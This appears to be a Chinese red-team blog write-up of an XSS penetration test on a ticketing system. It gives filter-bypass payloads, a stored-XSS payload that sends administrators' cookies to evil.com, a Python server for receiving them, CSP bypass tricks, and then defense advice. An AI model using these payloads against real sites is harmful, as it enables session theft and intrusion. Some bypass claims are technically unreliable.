一、一次意外发现的XSS漏洞

某天,一位朋友联系到我,说他的公司官网可能存在安全问题。他们的客服管理后台最近收到了一些异常的工单,工单内容被提交后管理员浏览器竟然弹出了一个奇怪的弹窗。出于职业敏感性,他怀疑可能是XSS(跨站脚本攻击),于是找到我帮忙确认。

作为一名红队成员,我对这种案例非常感兴趣。通过简单的信息收集,我发现这套后台是一个常见的开源工单管理系统,版本停留在三年前。我决定对其展开一次精细化的XSS渗透测试,并记录下整个过程。

---

二、寻找攻击入口:从信息收集开始

XSS的本质是利用不安全的用户输入点,通过脚本代码操控受害者浏览器。因此,我的首要任务是找到所有可以输入数据的地方。

目标系统的功能点扫描

在实验环境中,我搭建了与目标一致的工单管理系统,并开始分析其功能模块。以下是几个典型的输入点:

  1. 工单提交表单:用户填写的标题、描述、上传文件字段;
  2. 评论模块:工单后续的评论回复框;
  3. 搜索功能:支持用户在工单列表中查找关键词;
  4. 管理员公告:后台支持管理员发布公告供用户查看。

通过观察HTML源码和Burp Suite抓包,我发现这些输入点都存在直接或间接的反射行为,这为XSS提供了可能。

---

三、Payload构造的艺术:突破输入限制

在确认了输入点后,我尝试使用常规的XSS Payload进行测试,比如:

<pre><code class="language-html">&lt;script&gt;alert(&#039;XSS&#039;)&lt;/script&gt;</code></pre>

然而,这些输入被系统过滤掉了,显然这是一个简单的输入校验机制。为了绕过这些限制,我展开了进一步的研究。

绕过策略一:HTML实体编码

如果直接输入 <script> 被拦截,可以尝试用 HTML 实体编码形式:

<pre><code class="language-html">&amp;#60;script&amp;#62;alert(&#039;XSS&#039;)&amp;#60;/script&amp;#62;</code></pre>

通过这种方式,我成功触发了一个反射型XSS,用户提交的内容被直接嵌入到另一个页面的HTML代码中。

绕过策略二:双重编码

部分情况下,系统会对输入内容进行一次编码后再存储。这时,我们可以利用双重编码:

黑客示意图

<pre><code class="language-html">%253Cscript%253Ealert(&#039;XSS&#039;)%253C/script%253E</code></pre>

黑客示意图

这种形式通常在URL处理场景中更有效。

绕过策略三:事件属性注入

即使 <script> 标签被过滤,我们仍可以利用其他HTML标签的事件属性:

<pre><code class="language-html">&lt;img src=x onerror=&quot;alert(&#039;XSS&#039;)&quot;&gt;</code></pre>

图片标签的 onerror 事件常常是一个很好的Payload注入点。

---

四、深挖漏洞:持久性XSS的威胁

在进一步的测试中,我发现目标系统不仅存在反射型XSS,还可能存在更严重的存储型XSS。

存储型XSS的攻击场景

目标系统的工单评论模块允许普通用户提交评论,而这些评论会被管理员在后台直接查看。通过提交以下Payload,我成功利用了存储型XSS:

<pre><code class="language-html">&lt;img src=x onerror=&quot;fetch(&#039;http://evil.com/steal?cookie=&#039;+document.cookie)&quot;&gt;</code></pre>

管理员在后台查看评论时,浏览器会自动触发 onerror 事件,导致他的 document.cookie 被发送到我的C2服务器。

---

五、C2服务器搭建与数据接收

为了接收管理员的Cookie,我使用Python快速搭建了一个简易的HTTP服务器:

<pre><code class="language-python">from http.server import BaseHTTPRequestHandler, HTTPServer

class XSSHandler(BaseHTTPRequestHandler): def do_GET(self): print(&quot;Received Data: &quot;, self.path) self.send_response(200) self.end_headers()

if __name__ == &quot;__main__&quot;: server = HTTPServer((&#039;0.0.0.0&#039;, 8080), XSSHandler) print(&quot;Server started on port 8080...&quot;) server.serve_forever()</code></pre>

将恶意Payload中的 http://evil.com/steal 替换为服务器的公网地址,成功接收到了管理员的Cookie。

---

六、突破安全防护:绕过CSP

现代浏览器中普遍采用了内容安全策略(CSP)来防御XSS。当目标系统启用了CSP时,需要更高级的技巧来绕过。

JSONP劫持

某些系统会通过JSONP接口返回可被攻击者利用的数据。如果JSONP接口未受控,可以构造如下Payload绕过CSP:

<pre><code class="language-html">&lt;script src=&quot;http://target.com/data?callback=alert&quot;&gt;&lt;/script&gt;</code></pre>

利用内联事件

黑客示意图

script-src 被限制时,可以尝试利用内联事件,如:

<pre><code class="language-html">&lt;a href=&quot;javascript:alert(&#039;XSS&#039;)&quot;&gt;Click Me!&lt;/a&gt;</code></pre>

---

七、检测与防御建议

从攻击者视角出发,也需要了解如何检测和修复XSS漏洞,防止系统被攻陷。

检测工具

  1. Burp Suite:通过拦截请求,注入常见的XSS Payload;
  2. XSS Hunter:自动化监控系统并发现潜在漏洞;
  3. DOMPurify:测试前端代码是否正确过滤用户输入。

防御策略

  • 输入校验:严格限制用户输入,禁止特殊字符;
  • 输出转义:对输出的HTML进行适当的转义处理;
  • CSP策略:配置合理的内容安全策略,限制脚本来源;
  • 安全编码库:使用成熟的安全编码库,如OWASP推荐的ESAPI。

---

八、从攻击者视角反思弱点

  1. 不安全的默认配置:很多开源系统在初始配置中没有考虑安全性,给攻击者留下了机会。
  2. 输入点多样化:攻击者通常会尝试绕过表面入口,挖掘隐藏的输入点。
  3. 反射型与存储型结合:两种类型的XSS可以组合利用,实现更强的攻击效果。

---

结语

XSS虽然看似简单,但其危害却不容小觑。作为红队,我们的目标不仅是发现漏洞,更是通过实战验证漏洞的可能性和危害性,同时推动防御体系的改进。希望这篇文章能帮助你更好地理解和实践XSS技术,同时也提醒大家,任何未经授权的测试和攻击行为都是非法的,请务必在合法授权范围内行动。